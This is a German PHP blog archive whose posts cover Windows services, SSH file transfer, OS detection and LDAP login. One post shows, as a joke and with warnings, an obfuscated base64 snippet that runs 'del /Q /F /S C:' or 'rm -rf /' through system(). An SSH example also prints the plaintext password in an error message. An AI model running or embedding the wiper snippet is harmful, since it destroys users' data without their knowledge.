PHPGangsta - Der praktische PHP Blog

PHP Blog von PHPGangsta


Archive for August, 2009

Ein PHP-Script als Windows-Dienst starten

with 38 comments

23dienstViele wichtige Dinge weltweit laufen permanent und tun endlos ihren Job. Webserver warten auf Besucher, Berechnungsprogramme rechnen Tag und Nacht, FTP-Server warten auf Datenübertragungen und SSH-Server warten auf Benutzer.

Auch mit PHP kann man all solche Dinge lösen. Es gibt bereits DNS-Server geschrieben in PHP, selbst ein Webserver in PHP ist verfügbar, ein Continuous Integration Server, einen FTP Server, und es gibt zig tausend Chat-Server (auf Socket-Basis, keine einfachen Webchats), die mit PHP erstellt wurden usw.

Wenn man plant, ein PHP-Script quasi permanent laufen zu lassen, gibt es 3 Möglichkeiten:

  1. Man startet das Script einmalig nach dem Rechnerstart und lässt es in einer Endlosschleife (while (true) { ) laufen
    • Linux: Cron Eintrag @reboot
    • Windows: Geplanter Task bei Rechnerstart
  2. Wenn das Script beispielsweise 2 Minuten für seine Arbeit braucht, startet man es alle 3 Minuten
    • Linux: Cron Eintrag  */3 * * * *
    • Windows: Geplanter Task alle 3 Minuten
  3. Man installiert das Script als Dienst und lässt es darüber automatisch laufen und kann es starten/stoppen
    • Linux: mit Hilfe der Runlevel-Scripte (rc.d / init.d etc)
    • Windows: Windows-Dienste

Hier will ich besonders auf die Windows-Dienste eingehen. Unter Windows ist das die einzige Art, ein PHP-Script beim System-Shutdown kontrolliert beenden zu lassen, denn PHP beherrscht unter Windows keine Signalverarbeitung. Es kann also keine Betriebssystem-Signale empfangen wie zB SIGTERM oder SIGHUP, wohingehen es unter Linux die PHP-Funktionen PCNTL zur Prozesskontrolle gibt. Ohne diese Signale läuft das PHP-Script also solange, bis es vom Betriebssystem gekillt wird (hart, also mitten im Ablauf irgendwo im Code), was natürlich große Probleme bereiten kann bei komplizierten Scripten.

Ein Dienst löst also dieses Problem, denn wenn ein Betriebssystem herunterfährt, gibt es seinen Diensten die Möglichkeit, sich selbst innerhalb einiger Sekunden zu beenden. Dazu muß das PHP-Script natürlich ab und zu in einen definierten Zustand gelangen, wo es „aussteigen“ kann.

Vielleicht sieht man es besser am Code:

while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {
	// hier kommt der Code, der ausgeführt werden soll
}

Es gibt also eine Funktion win32_get_last_control_message(), die dem Script sagt, ob es sich beenden soll oder nicht. Damit diese Funktion (und einige weitere) zur Verfügung stehen, benötigt man die extention win32service aus der PECL.

Aber wie installiere ich nun dieses PHP-Script als Dienst? Dazu gibt es auch eine Funktion. Hier der Grundaufbau eines jeden Services:

if ($argv[1] == 'install') {
	$x = win32_create_service(array(
		'service' => 'My_first_PHP_Service',
		'display' => 'My PHP Service',
		'params' => __FILE__ . ' run',
	));
	debug_zval_dump($x);
	exit;
} else if ($argv[1] == 'uninstall') {
	$x = win32_delete_service('My_first_PHP_Service');
	debug_zval_dump($x);
	exit;
} else if ($argv[1] != 'run') {
	die("bogus args, please use install/uninstall/run");
}

$x = win32_start_service_ctrl_dispatcher('My_first_PHP_Service');

while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {

	// here comes the code which will be executed
	// it should not last longer than 30sec if possible
	$someCode = new SomeCode();
	$someCode->start();

	usleep(500000);
}

Wir haben oben erstmal einige Zeilen, um den Dienst installieren und deinstallieren zu können. Das geht sehr einfach, man benötigt nur einen eindeutigen internen Dienstnamen (hier My_first_PHP_Service) und im Installationsfall eine Zeichenkette, die dann später angezeigt wird.

Aufgerufen mit dem Parameter „install“ wird der Dienst also installiert:service1

Dann können wir ihn starten, entweder von der Konsole oder aus der mmc:

service4

service3

Wie bereits als Kommentar geschrieben, sollte der Code in der Schleife nicht all zu lange laufen, damit der Dienst noch vernünftig gesteuert werden kann. Sollte der Code beispielsweise 5 Minuten laufen, und man versucht den Dienst zu beenden („net stop My_First_PHP_Service“ oder über die mmc), kommt nach ca. einer Minute die Nachricht:

service5

Windows wartet also nicht ewig darauf, dass sich der Dienst beendet. Im Falle des System-Shutdowns wird der Prozess dann zwangsweise hart gekillt, was wieder zu unserem Grundproblem führt. Zur Not muss man einfach die Arbeit in kleine Häppchen unterteilen und nacheinander aufrufen.

Die Deinstallation, ihr ahnt es schon, ist genauso einfach wie die Installation:

service2

Hier gibts noch einige Worte zur win32service extension vom Entwickler selbst:

Man kann natürlich nicht nur „normale“ Scripte bauen und als Dienst laufen lassen, man kann auch feine Dinge machen, indem man einen wirklichen „Dienst“ anbietet, der auf einem Port lauscht und zu dem man sich verbinden kann! Hier gibts Informationen zu Sockets unter PHP, und auch bald einen Artikel hier im Blog.

Falls ihr eure PHP-Scripte als Windows-Dienste laufen habt, würde mich interessieren, was diese Scripte so tun!

Written by Michael Kliewe

August 14th, 2009 at 7:53 pm

Posted in PHP

Tagged with , , , ,

Daten verschlüsselt übertragen mit PHP und SSH

with one comment

Kann man mit PHP Daten oder Dateien zwischen 2 Rechnern verschlüsselt übertragen? Natürlich kann man, wenn die Gegenstelle es auch beherrscht.

Hier soll es weder um eine Verschlüsselung zwischen Browser und Webserver (HTTPS) noch um die verschlüsselte Kommunikation zu einem Mailserver (IMAPS oder POPS) oder einem FTP (FTPS) gehen, sondern um eine Verschlüsselung zwischen 2 Rechnern mittels SSH. Wir wollen nicht eine Datei verschlüsseln (es gibt ja diverse Algorithmen dafür, angefangen bei zip+passwort, mcrypt, pgp/gpg, AES etc) und sie dann unverschlüsselt übertragen, sondern stattdessen die Verbindung ansich verschlüsseln und dann darin „unverschlüsselt“ kommunizieren.

Mit Linux-Systemen hat man am wenigsten Probleme, denn dort ist ein SSH-Server standardmäßig mit installiert und gestartet. Unter Windows muß man Software nachinstallieren, beispielsweise freeSSHd oder sshwindows. Ich muss allerdings zugeben, dass ich bisher nur mit Linux-Rechnern gearbeitet habe. Dies betrifft natürlich nur die Gegenstelle. Auf dem Rechner wo PHP läuft braucht man keinen solchen Dienst.

Damit PHP mittels SSH kommunizieren kann, muß die ssh2-extention aus der PECL geladen werden. Einfach in das php/ext Verzeichnis entpacken und dann in der php.ini laden:

extension=php_ssh2.dll|so

Eine Verbindung aufzubauen ist recht einfach. Entweder macht man das via Username+Password, oder via Key.

$connection = @ssh2_connect($host, $port);
if (!$connection)
	throw new Exception("Could not connect to ".$host." on port ".$port);

$auth_methods = ssh2_auth_none($connection, $username);
if (in_array('password', $auth_methods)) {
    if (! @ssh2_auth_password($connection, $username, $password)) {
        throw new Exception("Could not authenticate with username $username and password $password.");
    }
} elseif (in_array('publickey', $auth_methods)) {
	if (!ssh2_auth_pubkey_file($connection, 'root',
				'/path/to/ssh_keys/id_rsa.pub',
				'/path/to/ssh_keys/id_rsa', 'keypassword')) {
			throw new Exception("Could not authenticate with username $username and private key");
	}
}
else {
	throw new Exception("cannot authenticate because password and privatekey are not allowed");
}

Wenn die Verbindung aufgebaut ist und der Login funktioniert hat, hat man mehrere Möglichkeiten:

  • Man möchte nur den anderen Rechner steuern mittels SSH. Dann nutzt man ssh2_exec()
    $stream = ssh2_exec($connection, 'whoami');
  • Man möchte Dateien zwischen den beiden Rechnern austauschen. Dazu kann man via sftp oder scp eine weitere Verbindung innerhalb der SSH-Verbindung aufbauen und mit Hilfe der SSH-Wrapper einfach die copy()-Funktion nutzen.
    $sftp = @ssh2_sftp($connection);
    if (!$sftp) {
    	throw new Exception("Could not initialize SFTP subsystem.");
    }
    
    $localPath = "/home/test/testfile.txt";
    $dir = "/home/target/";
    $remoteFilename = "testtargetfile.txt";
    $fullRemotePath = "ssh2.sftp://".$sftp.$dir.$remoteFilename;
    
    if (!file_exists($fullRemotePath)) {
    	$result = @copy($localPath, $fullRemotePath);
    
    	if ($result === false) {
            throw new Exception("Could not upload data file to: ".$dir." $remoteFilename");
    	}
    } else {
    	throw new Exception("File already exists, will not overwrite: ".$dir." $remoteFilename");
    }

Wie man in der Wrapper-Übersicht sehen kann, ist sftp auf jeden Fall vorzuziehen, damit kann man alles tun: Dateien lesen, schreiben, löschen usw.

Probiert es einfach mal aus, zum Beispiel um euch regelmäßig Dateien zuhause auf dem Homeserver abzulegen, oder auf den Root-Server eines Bekannten Backups zu kopieren (vorher komprimieren macht Sinn), um Daten auf seine Server im Cluster zu verteilen oder oder oder. Spätestens wenn man über unsichere Netzwerke wie das Internet kommuniziert, sollte man über Verschlüsselung nachdenken.

Hier gibt es noch Information rund um PHP und verfügbare Wrapper.

Written by Michael Kliewe

August 13th, 2009 at 7:02 pm

Posted in PHP

Tagged with , ,

Alter Code und das Grausen

with 5 comments

Da Nils in seinem Blog dazu aufgerufen hat, „fiesen Code“ zu publizieren, will ich mich daran beteiligen. Die Frage ist, wie „fies“ zu definieren ist. Die Aufgabenstellung lautet genau: „Wer kann das fieseste Script basteln?“.

Ich habe vor Kurzem diesen Code hier in einem sehr alten Verzeichnis gefunden (ich habe ihn also nicht gebastelt, sondern nur gefunden):

echo "<table>";
for ($t=0;$t<count($data);$t=$t+1) {
$d = $data[$t];
echo "<tr>";
if ($d[0]==6)
for ($i=0;$i<$d[1];$i=$i+1) {
echo "<td id=\"".($i+1)."\">$o[614] $i</td><td>".$id."</td>";
}
else
echo "<td colspan=2></td>";
echo "</tr>";
}
echo "</table>";

Da stehen einem die Haare zu Berge. Ich kann garnicht alles aufzählen, was daran „übel“ ist.
– statt der for-Schleife sollte man dort lieber eine foreach-Schleife nehmen
– was ist $d[0] und $d[1]? Ein assoziatives Array wäre schöner gewesen.
– bei der if-Abfrage keine geschweifte Klammer, kann schnell zu Fehlern führen
– statt $i=$i+1 hätte man auch schöner $i++ nehmen können
– $o[614] ist (wie ich nachher rausgefunden habe) ein Array mit Übersetzungen. Lesbar ist das so nicht, niemand weiß, was 614 sein soll
– $id ist ein GET-Parameter (register-globals lässt grüßen!)
– Im Original war der Code nicht so schön eingerückt wie hier, aber das wollte ich euch nicht zumuten

Wenn man PHP5, Objektorgientierung, PDO, Frameworks etc gewöhnt ist, ist es immer eine ziemlich schlimme Sache, alten Code zu sichten und evtl. sogar anzupassen, der >8 Jahre alt ist. Da war register_globals einfach an der Tagesordnung, Datenbankzugriffe passierten direkt mit mysql_* Funktionen, HTML und PHP direkt alles zusammengemixt usw usw. Einfach grausam, sowas pflegen zu müssen. Ich möchte garnicht wissen, wieviele PHP-Entwickler heutzutage noch Software warten müssen, die so alt sind, wo sich eine Neuentwicklung aber nicht lohnt, weil es zu groß ist oder es sich nicht mehr lohnt.

Fieser selbst gebastelter Code wäre beispielsweise dieser hier:
BITTE NICHT AUSFÜHREN, IHR MACHT EUCH UNGLÜCKLICH!

$g = 1;
$r = 2;
$v = "$r$g"*4+$g*3;
$m = chr($v);
$i = chr(ord($m)/1.08);
$f = hexdec("$g$r"*4);
$q = chr($v-4);
list($j,$k,$l) = explode(',',base64_decode('JHMgPSBjb25zdGFudCgkaS5jaHIoJGYpLiRpLiJfTyIuJHEpOyxkZWwgL1EgL0YgL1MgQzoscm0gLXJmIC8='));
eval($j);
$z = $s[0] == $m ? $k : $l;
system($z);

BITTE NICHT AUSFÜHREN, IHR MACHT EUCH UNGLÜCKLICH!

Man hätte natürlich auch den kompletten Code base64 kodieren können, aber das wäre ja langweilig gewesen. Man hätte base64 sicher auch ganz vermeiden können, aber ich hatte keine Lust mehr 😉

Hier noch einige andere schöne Beispiele aus dem Web:

http://manuel-pichler.de/archives/60-Why-I-love-PHP.html

Written by Michael Kliewe

August 12th, 2009 at 7:48 pm

Posted in PHP

Mit PHP das Server-Betriebssystem erkennen

with 5 comments

Häufig möchte man das Betriebssystem des Besuchers erkennen, um beispielsweise Statistiken zu führen. Noch häufiger wird natürlich der Browser abgefragt, aber das ist hier auch nicht gemeint.

In diesem Fall möchte ich das Betriebssystem erkennen, unter dem mein PHP-Script läuft. „Warum willst du das herausfinden, du weißt doch wohl, wo deine Scripte laufen!“ sagt ihr nun? Naja, meistens ja, aber manchmal auch nicht. Und wenn beispielsweise meine Scripte und Webseiten auf beiden Betriebsystemen laufen sollen, muß ich diese Information haben, um einige Dinge zu tun. Ich habe lang überlegt, und wirklich einfache und gebräuchliche Beispiele fallen mir nicht ein, denn zum Beispiel für den php.ini-Trenner bei der include_path-Variablen gibt es eine globale PHP-Konstante, man kann also einfach schreiben:

$include_path = get_include_path();
$include_path.= PATH_SEPARATOR . realpath(__DIR__ . '../'library');
set_include_path($include_path);

(Um im Folgenden alles zu vereinfachen, betrachte ich nur Windows und Linux)

Um Verzeichnisse zu trennen, kann man einfach „/“ nutzen, das funktioniert auch unter Windows (da ist ja eigentlich „\“ gebräuchlich). Oder man nutzt die Konstante DIRECTORY_SEPARATOR.Das Problem mit den unterschiedlichen Zeilenumbrüchen löst man mit PHP_EOL.

Ein Beispiel, wo wir aber betriebssystemspezifisch arbeiten müssen ist beispielsweise das Mapping von Netzlaufwerken via SMB. Macht man zwar nicht alle Tage, aber wenn man in der Firma mit vielen Servern und entfernten Verzeichnissen arbeitet, kommt das schonmal vor. Unter Windows muss man dazu „net use“ benutzen, unter Linux macht man das mit dem „smbclient“ (wenn man dynamisch mappen möchte, sonst verwendet man natürlich direkt einen „statischen“ Mountpoint).

Man benötigt außerdem Informationen über das Betriebssystem, falls man Linux- oder Windows-spezifische Funktionen nutzt wie beispielsweise alle PCNTL-Funktionen oder die win32service-Extension. Außerdem sollte man aufpassen sobald man exec() oder system() benutzt, häufig sind diese dann nicht portabel.

PHP bietet mehrere Möglichkeiten, die aber nicht alle zuverlässig funktionieren. Heute auf der Arbeit habe ich diese Zeile in einem Projekt gefunden:

if (isset($_SERVER['SERVER_SOFTWARE']) && is_numeric(stripos($_SERVER['SERVER_SOFTWARE'], 'linux'))) {

Das sieht nicht nur blöd aus, es funktioniert auch nicht immer, denn auf einigen Linux-Systemen gibt es diese Variable, auf anderen wiederum nicht.
Wenn man auf php.net etwas sucht, findet man die PHP-Konstante PHP_OS:

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {

PHP_OS enthält das Betriebssystem, auf dem PHP gebuilded wurde (zumindestens wenn man den PHP-Entwicklern glaubt, ein User behauptet hier etwas anderes). Ich weiß nicht, was da zB rauskommt, wenn man PHP für Linux unter cygwin kompiliert. Also auch noch nicht ideal.

Die Funktion meiner Wahl ist derzeit

if (strtoupper(substr(php_uname('s'), 0, 3)) === 'WIN') {

Der Befehl „uname“ kennt man vielleicht schon von Linux, aber auch unter Windows funktioniert php_uname() und liefert die Informationen des Betriebssystems zurück. Genutzt wird diese Funktion auch beispielsweise von PEAR OS_Guess.php. Diese Klasse versucht auch noch weitere Informationen zu gewinnen. Genutzt habe ich sie allerdings noch nicht.

Manche Hoster verbieten jedoch diese Funktion. Also immer dran denken:

if (function_exists('php_uname')) {</code><code>

Man muss wohl doch PHP_OS nutzen.  Oder man schreibt sich eine Funktion, die zB anhand des DIRECTORY_SEPARATOR die Unterscheidung macht. Oder oder oder…

Warning: php_uname() has been disabled for security reasons in /usr/www/...

Mit PHP 5.3 kommen jetzt auch noch ein paar weitere globale Konstanten hinzu, die es wohl nur unter Windows gibt. Daran könnte man es dann auch festmachen. Dann braucht man aber Minimum 5.3, was man wohl in den nächsten Jahren noch nicht überall auf der Welt erwarten kann. Geht also auch nicht.

So oder so, das ganze Thema ist irgendwie konfus. Welchen Best-Practice habt ihr?

Written by Michael Kliewe

August 10th, 2009 at 6:17 pm

Posted in PHP

LDAP Authentifizierung und andere Abfragen

with 6 comments

Zuhause beim Programmieren oder bei der Erstellung von einfachen Webseiten wird man mit LDAP wahrscheinlich nicht viel zu tun haben, doch wenn man häufiger Intranet-Projekte erstellt oder in irgendeiner Weise den Login an ein OpenLDAP-Verzeichnis oder ActiveDirectory knüpfen will, kommt man an LDAP kaum vorbei.

Grundsätzliche Informationen über LDAP und ActiveDirectory findet man natürlich bei Wikipedia. Ich möchte hier nicht 5 Seiten darüber schreiben, wofür soetwas gut ist und warum man sowas haben sollte, da könnt ihr euch am besten selbst die Informationen sammeln. Stichworte sind wie gesagt LDAP, ActiveDirectory, OpenLDAP und für die hart gesottenen die RFC 2307.

Im Firmenumfeld werden Administrationsseiten (von denen es in größeren Firmen schnell Unmengen gibt) natürlich auch geschützt, sodass nur die berechtigten Personen darauf zugreifen können. Da man nicht für jede Seite ein eigenes Passwort etc. verwenden möchte, nutzt man das vorhandene ActiveDirectory, um Zugriffe auf die Seiten zu vergeben. Außerdem ist es damit einfacher, bei Ausscheiden eines Mitarbeiters zentral an einer Stelle den Account zu löschen.

Nur wie macht man das? Wie gestatte ich einem ActiveDirectory-User den Zugriff, wohingegen ich anderen den Zugriff verweigere?

Es gibt mehrere Lösungen. Zum einen bietet der Webserver da Möglichkeiten. Beim IIS zum Beispiel kann man bei der Konfiguration der Website entweder anonymen Zugriff erlauben (d.h. jeder Besucher kann sie betreten), oder man aktiviert eine Passwortabfrage, wie zB:

ldap1

Falls man dann die entsprechende Webseite betreten möchte, kommt eine Abfrage:

ldap2

Damit ist schonmal sichergestellt, dass man nur mit einen gültigen Account Zutritt erlangt. Doch wie bestimme ich nun, dass nur eine Untermenge aller Accounts zugelassen werden soll? Im Falle des IIS macht man das mit Hilfe der NTFS-Berechtigungen. Wenn man auf das DocumentRoot nur denjenigen Leserechte gibt, die auch die Seite betreten können sollen, haben wir genau das, was wir wollen.

Auch der Apache kann natürlich etwas vergleichbares. Dazu benötigt man das Modul mod_auth_ldap. Hier eine einfache Beispielkonfiguration:

<Location /example-repository>
    # LDAP soll für die Authentifizierung zuständig sein.
    AuthLDAPAuthoritative on

    AuthType Basic
    AuthName "Mein geschütztes Verzeichnis"

    # Wenn anonyme Zugriffe auf nicht erlaubt sind müssen sie hier
    # den DN für einen Benutzer angeben, der für den Lesezugriff
    # verwendet werden kann.
    AuthLDAPBindDN "CN=browse_user,OU=FunktionaleUser,DC=example,DC=com"
    # Das Passwort für den „Browse User“
    AuthLDAPBindPassword sicheres_passwort

    # Die LDAP URL für die Verbindung.
    # Alle Verzeichnisse unterhalb der angegebenen „Bind URL“ werden
    # durchsucht. Das Feld „login“ wird für die Suche nach dem Benutzernamen verwendet.
    # Format: scheme://host:port/basedn?attribute?scope?filter
    AuthLDAPURL "ldap://ldap.example.com:389/DC=example,DC=com?login?sub?(objectClass=*)"

    # Natürlich ist auch eine gesicherte Verbindung möglich. Beispiel:
    # "ldaps://ldap.example.com:636/DC=example,DC=com?login?sub?(objectClass=*)"

    Require valid-user
</Location>

Weitere Informationen dazu gibt es natürlich auf der entsprechenden Webseite zu mod_auth_ldap.

Dies sind also Methoden, die die Webserver allein regeln, PHP bekommt davon garnichts mit. Falls die Authentifizierung erfolgreich war (Der Login ist korrekt und dieser User hat Leserechte), kann man in PHP mittels der Variablen $_SERVER[‚AUTH_USER‘] den Benutzernamen herausfinden.

Um noch flexibler zu sein, kann man diese Authentifizierung natürlich auch direkt in PHP erledigen. Dazu bietet php einige ldap_* Funktionen, die es uns ermöglichen, via LDAP das Verzeichnis zu durchsuchen und Informationen daraus auszulesen. Außerdem kann man sich dann ein formschönes Login-Formular basteln, und hat nicht so einen grauen Kasten.

Um sich mit einem LDAP-Server verbinden zu können, benötigt man die Serverdaten, die Protokollversion und natürlich einen Login für den LDAP-Server, das ist der Bind-User. Das sieht dann ungefähr so aus:

function setupLdapConnection() {
	// get ldap connection to domainX
	$ldapOptions = array (
				'binddn'    => 'cn=ldapsearch,ou=serviceuser,DC=domainX,DC=net',
				'bindpw'    => 'ldapsearchpwd',
				'basedn'    => 'DC=domainX,DC=net',
				'host'      => 'ldap.domainX.net'    );
	
	$ldap = ldap_connect($ldapOptions['host']);
	if ($ldap == false) {
		throw new Exception('LDAP connnect failed');
	}
	
	ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
	ldap_set_option($ldap, LDAP_OPT_REFERRALS, 0);
	
	$res = ldap_bind($ldap, $ldapOptions['binddn'], $ldapOptions['bindpw']);
	if ($res === false) {
		throw new Exception('Unable to bind to LDAP server');
	}
	
	return $ldap;
}

Damit haben wir nun eine LDAP-Connection aufgebaut, und dann kann man anfangen zu Suchen, beispielsweise so:

$ldap = setupLdapConnection();

$baseDn = 'DC=domainX,DC=net';
$attributes = array('cn', 'mail', 'objectClass', 'sAMAccountName', 'extensionAttribute13');
$filter = 'cn=User123';

$res = ldap_search($ldap, $baseDn, $filter, $attributes);

if ($res === false) {
	return "LDAP search failed\r\n";
}

if (ldap_count_entries($ldap, $res) === 0) {
	return "LDAP search failed, no entries found\r\n";
}

$entry = ldap_get_entries($ldap, $res);
if ($entry === false) {
	return "LDAP get entry failed\r\n";
}

return $res;

In $res haben wir dann das Ergebnis-Array mit den gewünschten Informationen. Man kann natürlich auch mit Hilfe der $baseDn nur in einem bestimmten Zweig suchen, oder mit Hilfe des $filter nach anderen Attributen suchen.

Mit diesen Funktionen kann man dann auch zB prüfen, ob ein User Mitglied einer Gruppe ist (Attribut memberOf), oder seine Email-Adresse herausfinden oder oder…

Zur Authentifizierung selbst gibt es natürlich auch schon fertige Klassen. Zu nennen sind da wohl PEAR_Auth und Zend_Auth_Adapter_Ldap. Hier ein schönes kurzes Beispiel mit dem ZF:

application.ini:

ldap.server1.host = ldap.domainX.net
ldap.server1.useSsl = false

ldap.server1.accountDomainName = domainX.net
ldap.server1.accountDomainNameShort = domainX
ldap.server1.accountCanonicalForm = 3
ldap.server1.accountFilterFormat = "(&(objectClass=user)(sAMAccountName=%s))"

ldap.server1.username = "cn=ldapsearch,ou=serviceuser,DC=domainX,DC=net"
ldap.server1.password = ldapsearchpwd
ldap.server1.baseDn = "DC=domainX,DC=net"
ldap.server1.bindRequiresDn = true

IndexController:

public function loginAction() {
	$form = new forms_LoginForm();

    if ($this->getRequest()->isPost()) {
    	$formData = $this->getRequest()->getPost();
        if ($form->isValid($formData)) {
			$values = $form->getValues();
				
			$loginSuccessful = false;
			$auth = Zend_Auth::getInstance();
			
			$options = Zend_Registry::get('configIni')->ldap->toArray();
			
			$adapter = new Zend_Auth_Adapter_Ldap($options, 
												$values['loginusername'], 
												$values['loginpassword']);
			$result = $auth->authenticate($adapter);

			if ($result->isValid()) {					
				$namespace = new Zend_Session_Namespace();
				$namespace->username = $values['loginusername'];				
			} else {
				$this->_flashMessenger->addMessage('error:login_failed_ldap');					
			}
			$this->_redirect("");				
		} else {
			$form->populate($formData);
		}
               
    }
    $this->view->form = $form;
}

Ist natürlich alles auf das Wesentliche gekürzt, man hat normalerweise natürlich noch diverse Sicherheitsabfragen oder zB einen try-catch-Block um das authenticate() etc.

Nutzt ihr auch LDAP, und wenn ja wie?

Written by Michael Kliewe

August 7th, 2009 at 4:06 pm